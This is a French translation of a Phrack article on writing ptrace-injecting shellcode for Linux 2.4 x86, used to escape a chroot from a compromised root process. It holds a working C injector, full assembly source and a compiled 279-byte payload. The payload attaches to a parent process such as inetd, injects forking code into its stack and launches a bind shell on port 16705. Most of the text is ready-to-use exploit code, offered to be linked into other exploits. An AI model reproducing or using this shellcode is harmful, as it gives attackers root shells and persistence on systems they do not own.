NdT: Cette traduction est loin d'etre parfaite, veuillez m'en excuser. -z33w- ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12 |=---------------=[ Building ptrace injecting shellcodes ]=--------------=| |=-----------------------------------------------------------------------=| |=------------=[ anonymous author ]=------=| ---[ Sommaire 1 - Environnement de test 2 - Pourquoi devrions nous faire un shellcode injectant un ptrace ? 3 - Que fait ptrace 3.1 - Prérequis 3.2 - Comment la librairie fait-elle l'appel 4 - Injection de code dans un processus - en C 4.1 - La pile (stack) est notre amie 4.2 - Code à injecter 4.3 - Notre premier code C 5 - Premier essai de shellcode 5.1 Quand vous avez besoin de quelqu'un a tracer 5.2 Attente (de l'amour?) 5.3 Registres, où êtes vous ? 5.4 Upload en cours 5.5 Tu sera un homme, mon fils. 6 - References et remerciements ---[ 1 - Environnement de test Avant toute chose, je dois fixer des regles pour mon terrain de jeu. J'ai testé toutes ces techniques sous Linux 2.4.18 i386 avec une pile executable. Elles peuvent fonctionner sous toutes les versions linux, exceptées celles dont la pile n'est pas exécutable, à cause du concept de l'injection (dans la pile). En modifiant un peu ces techniques, il devrait être possible d'exploiter n'importe quel OS sur n'importe quelle architecture, du moment que l'appel système ptrace() est supporté. ---[ 2 - Pourquoi devrions nous faire un shellcode injectant un ptrace ? A partir de la serie des kernels 2.4.x, le chroot Linux n'est plus cassable par la bonne vieille methode bien connue (utilisant des astuces de chroot()). Le chroot Linux restreint desormais l'utilisation des VFS, et un shell root sur un processus chrooté n'est (theoriquement) plus utilisable par un cracker, sauf si l'on modifie (par exemple sur un serveur FTP) l'arbre FTP. Un uid de 0 peut permettre a un cracker de faire de nombreuses choses qui ne sont pas restreintes par le VFS sur un kernel 2.4 standard : - Changer des parametres kernel (date du jour, etc...). - Inserer un module kernel (peut être exploitable, mais tres difficile d'y inclure un shellcode à cause des restrictions concernant l'espace reservé. C'est dailleurs ce qui a ete utilise pour un exploit wuftp v2.5: uploader une backdoor kernel et un insmod lié statiquement. C'est bien plus compliquée à réussir que les astuces que je vais décrire.) - Plusieurs petites choses rattachées aux VFS, comme l'utilisation de descripteurs de fichiers (file descriptors = fd) ouverts. - Debugger n'importe quel processus du systeme. Il y a une enorme vulnerabilite sur le systeme chrooté, qui est corrigée par des patches de securite disponible sur le net. Un utilisateur root dans un environnement chroote est capable d'exploiter ptrace() sur n'importe quel processus tournant sur le système (excepte init ;)) Cette technique est aussi générique (n'utilise pas les fd ouverts, peut être utilisée même pour un processus non root), et un Apache chrooté peut infecter fingerd, par exemple. Voici d'ou viens l'idée de créer un shellcode ptrace. Nous pouvons, avec ce shellcode, tracer des processus non-restreints et y injecter un deuxieme shellcode, qui lance un bindshell dans notre exemple. Voici ce que nous voulons pour ce shellcode ptrace : - Une taille relativement petite (doit être utilisable comme un vrai shellcode). J'ai vu dans quelques exploits (comme le 7350wu) un shellcode un peu plus petit faisant un read(0, %esp, shellcode_len), et je l'ai consideré comme une très bonne idée pour injecter un gros shellcode. Donc ce paramètre n'est pas décisif. - On doit pouvoir le lancer plusieurs fois dans un court laps de temps. Si la première exploitation échoue (e.g. le port déjà bindé), le processus tracé ne doit pas crasher (dans le cas de wuftp, si nous injectons du code malin dans inetd, il devrait permettre l'écoute des connections ftp). - Le choix du processus cible doit etre le plus souvent possible le processus parent (inetd pour un serveur ftp) qui a la plupart du temps un acces root complet. Nous pouvons également essayer tous les pid, commencant a 2, jusqu'à ce que nous trouvions quelque chose de traçable. - Nous ne pouvons pas regarder ce qui se trouve dans /proc pour chaque processus à tracer. Ces regles peuvent être respectées, et sont, je pense, suffisantes pour la plupart des situations d'exploitation. ---[ 3 - Que fait ptrace 3.1 - Prérequis Vous devez savoir que l'appel système ptrace à été créé pour tracer et débugger les processus en mode utilisateur. Un processus peut être ptracé par un seul processus à la fois, et uniquement par un pid appartenant au meme utilisateur, ou au root. Sous Linux, les commandes ptrace sont toutes implementées par la fonction/appel système ptrace(), avec quatre paramètres. Son prototype est le suivant : #include long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data) 'request' est une constante symbolique déclarée dans sys/ptrace.h. Nous allons utiliser ceux-là : PTRACE_ATTACH : Attachement au pid du processus. PTRACE_DETACH : Detachement du pid du processus. Ne jamais oublier de faire ceci, sinon votre processus tracé restera en mode stoppé, ce qui est impossible à rétablir à distance. PTRACE_GETREGS : Cette commande copie les registres du processus dans la structure pointée par data (addr est ignorée). Cette structure est définie par struct user_regs_struct, dans asm/user.h : struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; }; PTRACE_SETREGS : Cette commande est l'opposé de la précédente, avec les mêmes arguments PTRACE_POKETEXT : Copie 32 bits de l'adresse pointée par data dans l'adresse addr du processus tracé. C'est l'équivalent de PTRACE_POKEDATA. Une chose importante quand vous attachez un pid, vous devez attendre le blocage du processus tracé et le signal SIGCHLD. wait(NULL) fait ceci parfaitement (implémenté dans le shellcode par waitpid). 3.2 - Comment la librairie fait elle l'appel Comme nous ecrivons du code asm, nous devons savoir comment appeler directement l'appel système ptrace. Quelques petits tests suffisent à nous montrer comment la bibliothèque emballe les syscalls, et simplement: eax est SYS_ptrace (26 decimal) ebx est request (e.g. PTRACE_ATTACH est 16) ecx est pid edx est addr esi est data en cas d'erreur, -1 est stocké dans eax. ---[ 4 - Injection de code dans un processus - en C 4.1 - La pile est notre amie J'ai vu plusieurs mechanismes d'injection utilises par des exploits ptrace() pour Linux, qui injectaient un shellcode standard dans l'espace memoire pointé par %eip. C'est la methode paresseuse pour réaliser une injection, puisque le processus cible est détraqué et ne peut plus être réutilisé (il crashe ou ne forke plus). Nous devons alors trouver une autre méthode pour exécuter notre code dans le processus cible. C'est ce à quoi j'ai pensé et j'ai trouvé ceci : 1 - Récupérer l'eip courant du processus, ainsi que esp. 2 - Décrémenter esp de quatre. 3 - Mettre l'adresse de eip a l'adresse pointée par esp. 4 - Injecter le shellcode a l'adresse esp - 1024 (pas directement avant l'espace pointe par esp, car certains shellcodes utilisent l'instruction push) 5 - Mettre le registre eip a la valeur de esp - 1024 6 - Invoquer la methode SETREGS de ptrace 7 - Detacher le processus et le laisser ouvrir un shell root pour vous :) La raison pour laquelle on ne peut pas utiliser les systemes qui n'ont pas de pile exécutable est que le shellcode est uploadé dans la pile. Ce n'est pas un bug, mais une particularité. J'ai entendu parler de méthodes consistant à sauver le contexte memoire du processus tracé, uploader le shellcode, attendre la fin de son exécution (generalement apres le fork) et restaurer l'état précédent du processus tracé. C'est une méthode, mais je ne pense pas qu'elle soit vraiment efficace, car les patchs non-exec modernes empêchent aussi le ptracing des processus non restreints (Grsec le fait, tout du moins). La pile cible peut ressembler a ceci: [DOWN][pile du programme][vieux_eip][bourrage sur 1024 octets][shellcode][UP] ^> L'esp original pointe ici nouvel eip<^ le nouvel<^>esp pointe la Avant d'exploiter, il ne faut pas oublier d'inserer deux octets nops avant le shellcode. Pourquoi? parce que si ptrace interrompt un syscall en train de s'executer, le kernel va soustraire deux octets de l'eip apres le PTRACE_DETACH pour redemarrer le syscall! 4.2 - Code à injecter Le code à injecter doit marcher sans problème avec la pile que nous avons spécialement modifié : ca doit forker et laisser le processus original continuer son travail. Le nouveau processus doit lancer un bindshell! Voici le code s1.S, compilable avec gcc : /* toute cette partie doit aller dans le processus injecte */ /* en d'autres termes, ceci est le shellcode injecte. */ .globl injected_shellcode injected_shellcode: // la ret location a ete pushee precedemment nop nop pusha // sauver avant de faire quoique ce soit xor %eax,%eax mov $0x02,%al //sys_fork int $0x80 //fork() xor %ebx,%ebx cmp %eax,%ebx // pere ou fils ? je son // Je suis le fils // ici, je suis le pere, je dois restaurer mon etat precedent father: popa ret /* l'adresse de retour a ete pushee sur la stack precedemment code termine pour le pere */ son: /* shellcode standard, de votre choix */ .string "" local@darkside:~/dev/ptrace$ gcc -c s1.S Explications: Les deux premiers nops sont les nops dont je vous ai parle juste avant, car dans mon shellcode final je choisi de decrementer de deux l'adresse du buffer de destination. Pusha sauve tous les registres de la stack, le processus doit donc les restaurer juste apres le fork(). (je parle de eax et ebx) Si la valeur de retour du fork est zero, c'est que le fils est en train de s'executer. C'est ici que nous injectons un shellcode. Si la valeur de retour est differente de zero (donc un pid), on restaure les registres et l'eip sauve precedemment. Et le programme continue son execution comme si de rien n'etait ;) 4.3 - Notre premier code C Beaucoup de theorie, a present, un peu de pratique. Ci-dessous, un programme qui va forker, attacher son fils, y injecter le code, le laisser s'executer et le killer ensuite. Voici donc p2.c : #include #include #include #include typedef long int pid_t; void injected_shellcode(); char *hello_shellcode= "\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59" "\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34" "\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c" "\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ; /* affiche hello. Quelle prouesse ! */ char *shellcode; int child(){ while(1){ write(2,".",1); sleep(1); } return 0; } int father (pid_t pid){ int error; int i=0; int ptr; int begin; struct user_regs_struct data; if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL)) perror("attach"); waitpid(pid,NULL,0); if(error=ptrace(PTRACE_GETREGS,pid,&data,&data)) perror("getregs"); printf("%%eip : 0x%.8lx\n",data.eip); printf("%%esp : 0x%.8lx\n",data.esp); data.esp -= 4; ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip); ptr=begin=data.esp-1024; printf("Inserting shellcode into %.8lx\n",begin); data.eip=(long)begin+2; ptrace(PTRACE_SETREGS,pid,&data,&data); while(i1) pid=atoi(argv[1]); shellcode=malloc( strlen((char*) injected_shellcode) + strlen(hello_shellcode) + 4); strcpy(shellcode,(char *) injected_shellcode); strcat(shellcode,(char *) hello_shellcode); printf("p2 : trying to launch shellcode on forked process\n"); if(pid==0) pid=fork(); if (pid){ printf("I'm the father\n"); sleep(2); father(pid); sleep(2); kill(pid,9); wait(NULL); }else{ printf("I'm the child\n"); child(); } return 0; } Compilez tout ca: gcc -o p2 p2.c s1.S et admirez mes capacites de couper/coller ;) local@darkside:~/dev/ptrace$ ./p2 p2 : trying to launch shellcode on forked process I'm the father I'm the child ...%eip : 0x400c0a11 %esp : 0xbffff470 Inserting shellcode into bffff06c .Hello,World !. Ca marche vraiment. Le .... processus forke et affiche "Hello, world!". 5 - Premier essai de shellcode Avant de commencer, rappelons nos regles. Je vais le coder sans vraiment en optimiser la taille (je laisse ca a bighawk ou pr1), mais en l'ecrivant de sorte a conditionner l'assemblage par le pre-compilateur. gcc -DLONG -> pour une verif minutieuse du shellcode gcc -DSHORT -> pour un tres petit shellcode (qui fait le minimum, mais est peu sûr) Bien. Si la taille est vraiment importante, on exit(0) simplement en jumpant n'importe ou, ou si la taille n'est pas importante du tout, on peut faire quelques tests draconiens. Je vais utiliser la syntaxe AT&T, compilable avec gcc. Si vous n'aimez pas cette syntaxe, un bon gros script awk peu modifier cela ;) 5.1 Quand vous avez besoin de quelqu'un a tracer Une approche basique est de d'abord mettre le pointeur de pile à une grande valeur. Nous ne pouvons pas etre certains que le pointeur de pile ne soit pas plus bas que l'eip courant (dans le cas d'un overflow base sur la pile). La methode la plus simple de faire ceci, est de mettre esp a 0xbffffe04. Cette valeur de esp fonctionne sur presque toutes les boxes linux/x86 que j'ai vues, et est proche du bas de la pile, mais pas trop et donc ne contient pas de zero. Ensuite, on recupere le ppid process avec l'appel systeme getppid(); puis on essaie d'abord de l'attacher. Si l'attachement echoue, on a 99% de chances pour que le ppid soit init. Dans ce cas, on incremente le pid jusqu'a ce qu'on puisse y attacher quelque chose. (Attention au debuggage de cette partie du code, car ce n'est pas facile du tout. Lorsque vous tracez un processus, vous devenez son ppid. Dans ce cas, le shellcode va attacher votre debugger et un deadlock mutuel va apparaitre. Qui a dit "Une bonne et cool methode anti-debugger" ?) J'ai inclu un test pour la variable pre-processeur DEBUG_PID. Mettez le pid que vous voulez pour injecter quelque chose. Notez que le pid est mis sur la stack, a la place 12(%ebp). C'est utile parce que nous allons avoir besoin de ca dans presque tous les appels systeme. 5.2 Attente (de l'amour?) A présent, le petit shellcode doit attendre son fils. Il y a 2 facons de le faire: - waitpid(pid,NULL,NULL); - gros gros loop; Comme je n'ai pas réussi a faire un court (dans le temps) loop de taille plus petite que le syscall, le code contient seulement l'appel système. 5.3 Registres, ou êtes-vous ? Le processus cible est prêt à être modifié, mais la premiere chose à faire avec est d'extraire les registres. Le registre ebp est sauvé dans esi, puis esi est incrémenté de 16. Il va etre l'argument 'donnee' de l'appel ptrace. Apres le syscall, les registres cibles commencent a 16(%ebp). Les registres interessants sont: esp : 76(%ebp) eip : 64(%ebp) Les astuces pour les registres que j'ai decrites précédemment, sont dans la source du shellcode mais ne sont pas si compliquees, incluant l'instruction "push"-like pour pusher l'ancienne adresse d'eip. 5.4 Upload en cours... "Uploader" le shellcode, ou l'injecter dans le processus cible, est juste un petit loop. Le shellcode lui-meme n'est pas totalement clair car le compteur de loop utilisé est esp. Nous attribuons à esp la valeur spécifiée dans la macro SHELLCODELEN. Dans edi, on met l'adresse mémoire du shellcode injecté dans le processus courant. Edx contient l'adresse de la cible, précédemment décrémentée de deux, conformément à notre première note à ce sujet. Comme après l'appel d'interruption, eax doit être à zéro, on peut l'utiliser en toute sécurité pour tester si esp parvient a l'état final. 5.5 Tu sera un homme, mon fils. Nous pouvons desormais detacher le processus sans crainte. Si on oublie de le detacher (par paresse ou par manque d'espace), le processus restera dans un état interrompu, et requiert SIGCONT pour lancer notre bindshell. Apres ce dur labeur, le shellcode peut se terminer, juste en faisant un exit(), qui normalement n'alerte pas inetd et ne cree pas de note d'alarme dans le syslog (pour la version sympa, "ret" peut etre suffisant pour faire segfaulter et clore le processus). Le bindshell que j'ai crée binde le port 0x4141. Souvenez vous que deux exécutions rapides du shellcode peuvent bloquer le port 0x4141 pour quelques minutes. C'était un peu pénible pendant le codage. Le shellcode n'a pas encore ete optimise en taille. On peut compiler le code attache avec : gcc -DLONG -c -o injector.o injector.S et le linker avec notre exploit favori. Le code est denue de caracteres NULL Je n'ai pas cherche les newlines, les retours chariots, les espaces, les pourcentages, 0xFF, etc.. ---[ 6 - References et remerciements Le man de ptrace() est super, limpide, interessant, tout ca... Intel documentation book 2 : the instructions fut un livre tres utile, bourré d'instructions-d'1-octet-qui-font-tout-plein-de-choses. Une grand merci specialement a tous les gars de minithins.net, les gens d'UNF, ma copine de j'adore, et bien sur AT&T pour leur syntaxe asm super. Merci egalement aux channels #fr, #ircs, #!w00nf, #segfault, #unf pour leur soutien et particulièrement à Double-p, Fozzy et Ouah qui ont corrigé mon pauvre anglais et m'ont donne quelques conseils. /* INJECTOR.S VERSION 1.0 */ /* Injects a shellcode in a process using ptrace system call */ /* Tested on : linux 2.4.18 */ /* NOT SIZE-OPTIMIZED YET */ #define SHELLCODELEN 30 /* That is, size of (the injected shellcode + bindshell)/4 */ #ifndef SHORT #define LONG #endif #ifdef LONG #undef SHORT #endif .text .globl shellcode .type shellcode,@function shellcode: /* injector begins here */ mov $0xbffffe04,%esp /* first thing, we have to find our ppid */ xor %eax,%eax mov $64,%al /* sys_getppid */ int $0x80 #ifdef DEBUG_PID mov $DEBUG_PID,%ax #endif /* put it on the stack */ mov %esp,%ebp /* save the stack in stack pointer */ mov %eax,12(%ebp) /* save the pid there */ /* now we have to do a ptrace */ redo: xor %eax,%eax mov $26,%al /* sys_ptrace */ mov 12(%ebp),%ecx mov %eax,%ebx mov $0x10,%bl /* PTRACE_ATTACH */ int $0x80 /* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */ xor %ebx,%ebx cmp %eax,%ebx je good /* we are not leet enough, or ppid is init */ inc %ecx mov %ecx,12(%ebp) jmp redo good: /* now we have to do a waitpid(pid,NULL,NULL) */ mov %eax,%edx /* NULL */ mov %ecx,%ebx /* pid */ mov %edx,%ecx /* NULL */ mov $7,%al /* SYS_waitpid */ int $0x80 getregs: /* now get its registers */ xor %eax,%eax /* Should waitpid return 0 ? never ;) */ xor %ebx,%ebx mov %ebp,%esi add $16,%esi /* 16 up of the stack pointer */ mov $12,%bl /* %ebx is zero, PTRACE_GETREGS */ mov 12(%ebp),%ecx /* pid */ mov $26,%al /* %eax is zero. */ /* %edx doesn't contain anything since PTRACE_GETREGS doesn't use addr */ int $0x80 /* so now we have registers in 16(%ebp) */ /* two interresting : %eip and %esp */ /* %eip : (16+48)(%ebp) */ /* %esp : (16+60)(%ebp) */ /* rq : 12(%ebx) contains ppid */ /* 8(%ebx) will contain the eip */ custom_push: sub $4,76(%ebp) /* dec the esp */ mov 76(%ebp),%edi /* put it in our temp eip */ sub $1036,%di mov %edi,8(%ebp) /* that's the address where we */ /* shall start to install our code */ /* we need to push the eip at top of the stack */ mov $26,%al mov $4,%bl /* PTRACE_POKETEXT*/ mov 12(%ebp),%ecx /*ppid */ mov 76(%ebp),%edx /* esp we have decremented */ mov 64(%ebp),%esi /* old eip */ int $0x80 /* what a work for push %eip */ mov %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */ /* now put our cool registers set */ setregs: xor %eax,%eax xor %ebx,%ebx mov $26,%al mov $13,%bl /* PTRACE_SETREGS*/ /* ppid always set so %ecx */ /* %edx ignored */ mov %ebp,%esi add $16,%esi int $0x80 /* registers have been updated. now inject the shellcode */ /* %edi : location in memory where we put the shellcode */ jmp start goback: /* push on the stack the address of the shellcode to inject */ mov %edi,%edx /* addr */ dec %edx dec %edx /* returning from syscall, eip goes 2 before current eip */ /* with this trick, it goes on 2 nops */ pop %edi /* data */ xor %eax,%eax mov $SHELLCODELEN,%al mov %eax,%esp mov $4,%bl loop: mov $26,%al mov 12(%ebp),%ecx mov (%edi),%esi int $0x80 dec %esp add $4,%edx /* target shellcode */ add $4,%edi /* local shellcode, source */ cmp %esp,%eax /* Len > 0 ? */ jne loop detach: mov $26,%al xor %ebx,%ebx mov $0x11,%bl /* PTRACE_DETACH */ mov 12(%ebp),%ecx /* pid */ //xor %edx,%edx //xor %esi,%esi int $0x80 /* Now we can exit */ failed: #ifdef LONG xor %eax,%eax /* exit silently */ mov %eax,%ebx mov $1,%al /* sys_exit */ int $0x80 /* die in peace, poor child */ #endif #ifndef LONG ret #endif start: call goback /* all that part has to be done into the injected process */ /* in other word, this is the injected shellcode */ // ret location has been pushed previously nop nop pusha // save before anything by saving registers xor %eax,%eax mov $0x02,%al //sys_fork int $0x80 //fork() xor %ebx,%ebx cmp %eax,%ebx // father or son ? je son // I'm son //here, I'm the father, I've to restore my previous state father: popa ret /* code finished for the father */ son: /* standard shellcode, at your choice */ /* Bind shellcode */ lnx_bind: xor %eax,%eax cdq /* %edx= 0 */ push %edx /* IPPROTO_TCP */ inc %edx /* SOCK_STREAM */ mov %edx,%ebx /* socket() */ push %edx inc %edx /* AF_INET */ push %edx mov %esp,%ecx mov $102,%al int $0x80 mov %eax,%edi /* Save the socket in %edi */ cdq /* %edx= sign of %eax = 0 */ inc %ebx /* bind */ /* was 1, become 2 */ push %edx /* 0.0.0.0 addr */ /*change \/ here */ push $0x4141ff02 /* here, change the 0x4141 for the port */ /* /\ */ mov %esp,%esi /* save the address of sockaddr in %esi */ push $16 /* Size of this shit */ //$16 push %esi /* struct sockaddr * */ push %edi /* socket number */ mov %esp,%ecx /* bind() */ mov $102,%al int $0x80 /* Erf, I use the previous data on the stack, they are even good enough */ inc %ebx /*3...*/ inc %ebx /*4 */ mov $102,%al int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */ push %esp /* Len */ push %esi /* sockaddr* */ push %edi /* socket */ inc %ebx /* 5 */ mov %esp,%ecx mov $102,%al int $0x80 /* accept */ xchg %eax,%ebx /* Save our precious file descriptor */ pop %ecx /* take the value of %edi, that's usualy %ebx-1 */ duploop: mov $63,%al /* dup2 */ int $0x80 dec %ecx cmp %ecx,%edx jle duploop //jnl loop /* For each file descriptor before %ebx, dup2() it */ /* Std lnx_bin_sh_1 shellcode */ push %edx push $0x68732f6e push $0x69622f2f mov %esp,%ebx push %edx push %ebx mov %esp,%ecx mov $11, %al int $0x80 .string "" // compiled with -DLONG // binds to port 16705 char injector_lnx[]= "\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd" "\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a" "\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31" "\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb" "\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd" "\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10" "\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83" "\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c" "\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d" "\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89" "\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d" "\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89" "\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4" "\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd" "\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0" "\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d" "\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd" "\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31" "\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74" "\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3" "\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89" "\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89" "\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd" "\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57" "\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0" "\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ; /*size :279 */